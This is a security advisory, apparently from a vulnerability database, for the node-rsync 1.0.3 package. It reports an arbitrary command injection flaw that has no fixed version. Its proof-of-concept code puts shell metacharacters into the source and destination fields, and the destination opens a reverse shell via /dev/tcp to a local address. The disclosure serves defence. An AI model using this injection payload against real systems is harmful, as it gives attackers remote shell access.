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node-rsync@1.0.3 vulnerabilities

Rsync wrapper for Node.js

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Direct Vulnerabilities

Known vulnerabilities in the node-rsync package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • H
Arbitrary Command Injection

node-rsync is a Rsync wrapper for Node.js

Affected versions of this package are vulnerable to Arbitrary Command Injection. The issue occurs because user input is formatted inside a command that will be executed without any checks.

PoC By Snyk Security Team

// Build the command
var rsync = new Rsync()
    .shell('ssh')
    .flags('az')
    .source(';/path/to/source')
    .destination('&sh</dev/tcp/127.0.0.1/4444');

// Execute the command
rsync.execute(function (error, code, cmd) {
    console.log(cmd)
});

How to fix Arbitrary Command Injection?

There is no fixed version for node-rsync.

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